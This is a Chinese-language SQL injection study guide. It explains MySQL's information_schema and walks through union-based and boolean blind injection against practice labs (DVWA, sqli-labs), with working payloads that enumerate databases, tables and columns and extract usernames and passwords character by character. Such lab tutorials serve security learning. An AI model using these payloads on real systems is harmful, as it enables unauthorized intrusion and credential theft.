目录
sql注入的基本知识点
sql注入漏洞的成型原因:
information_schema
必要认识的函数
普通sql注入
布尔盲注
判断是否存在bool盲注
必要认识的函数
Bool盲注思路:
操作
爆库
爆表
爆字段(列名)
读取数据
前端的一个可控变量让我们可以自己构造数据库语句去非法访问后端的数据库.
mysql都会有information_schema数据库,他数据库中总会有几张表存放着其他数据库的信息。比如说你在mysql中新建了一个数据库,这个新建的数据库的信息再information_schema中也有对应的记录。
目的
进行infomation跨库查询的目的就是为了查询出我们当前所在数据库的信息,查询到信息之后,查询到的表就是再当前数据库下面的。直接构造select语句块就可以。
必要认识的两张表:tables和columns
tables
tables下面有table_name字段和table_schema两个字段
tables:table_name 表名 存放所有的表名
tables_schema 前面表名所在数据库
columns
columns下面也有对应着column_name和table_name两个字段
column_name 字段名
table_name 前面字段所在哪一张表
database() //当前数据库的数据库名(进行sql注入的时候,可以直接跳过查询数据库名,直接用这个函数查表名)
group_concat //把我们查询到的结果以数组的形式呈现
1.交互点 搜索框 登录框 url
2.注入点
3.判断注入类型
and 1=1 and 1=2
字符型 必须要加 ‘ 闭合 # --+ 注释
4.判断列数 2
1' order by 1#
#order by后面跟上什么字段名或者数字就是代表着第几个字段,他将会以这个字段来进行排序
#他要是没有这个字段的话就会进行报错
#在进行判断的时候前面不能加上and 1=2,不然报错了肯定就没法显示出来
5.看回显位置
1' and 1=2 union select 1,2#
#union select 进行联合查询的时候,要求字段数是相同的,否则就会进行报错。通过order by我们已经判断出当前表的字段数,然后我们就要union select来看哪里的回显是正常的,可以在前端页面显示出来。(判断那个字段有数据回显)
6.查询数据库名称 dvwa
1' and 1=2 union select 1,database()#
7.查询数据表的名称 guestbook users
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
8.查询数据列的名称 user password
1' and 1=2 union select 1,column_name from information_schema.columns where table_name='users'#
9.读取数据 admin
1' and 1=2 union select 1,concat(user,'.......',password) from users#
先判断完是整形还是字符型的注入类型之后,通过order by进行查询数据回显。发现语句没错的情况下,内容是被屏蔽掉的。且当我们有一个地方报错的时候,整个页面就是无回显(正确的时候也是无回显的)。
length(str) //返回字串长度
ord(str)/ascii(str) //返回字符的 ASCII 码。就是将字符串转化为ascil码
substring(str,str_start,st r_num) //截取字符串, str_start 从那个字符开始截取, str_num 截取几个字符 //这个函数是从1开始的,limit从0开始 substring('dvwa',1,1) 获取字母d
count //判断数量。通常用来判断表的数量、字段数
length //判断要获取数据名的长度
char(num)
1.判断是整型还是字符型
2.判断字段数order by
3.爆数据库(可略过)
①判断数据库长度 为substring做准备,选择第几个位置
②爆库
4.爆数据表
①判断数据表的个数 为limit做准备,选择第几张表
②判断数据表名的长度 为substring做准备,选择第几个位置
③爆表名
5.爆列名
①判断字段数 为limit做准备,选择第几个字段
②判断每个字段的长度 为substring做准备,选择第几个位置
③爆列名
6.读取数据
##########判断数据库名长度##################
?id=1' and length(database())>5--+
#可以用>和<来加块判断的速度
?id=1' and length(database())=8--+
#判断出数据库名长度为8
##########爆破数据库名##################
?id=1' and ord(substring(database(),1,1))>97--+
#先判断字母是否为小写
?id=1' and ord(substring(database(),1,1))=115--+
#获取数据库名的第一个字母
?id=1' and ord(substring(database(),2,1))=101--+
#获取数据库名的第二个字母
#################判断数据表的数量##########################
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+
#查询数据表的个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
#和上面的效果是一样的
################判断表名的长度#############################
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
#判断第一张表的表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+
#判断第二张表的表名长度
################爆破表名##################################
?id=1' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
#判断第一张表的第一个字母
#limit控制的是第几张表,substring控制的是第几个字母,ord负责转化为ascil
##################判断字段数##################
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 --+
#判断users表中的字段数
#在这里有一个需要注意的点是,前面得跟上数据库名,不然这里查出来的是其他表的字段数,正常情况下是不会出现这样的情况的。按理来说,查出来的表就是在当前数据库下面的。
##################判断字段的长度##############
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2--+
#判断字段的长度
#limit控制第几个字段
################爆字段名######################
?id=1' and ord(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105--+
#limit控制的是第几个字段
#substring控制的是第几个位置是什么字
?id=1' and ord(substring((select username from security.users limit 0,1),1,1))=68--+
#limit控制usename下面的第几个数据内容
#substring控制数据内容的每一个位置所对应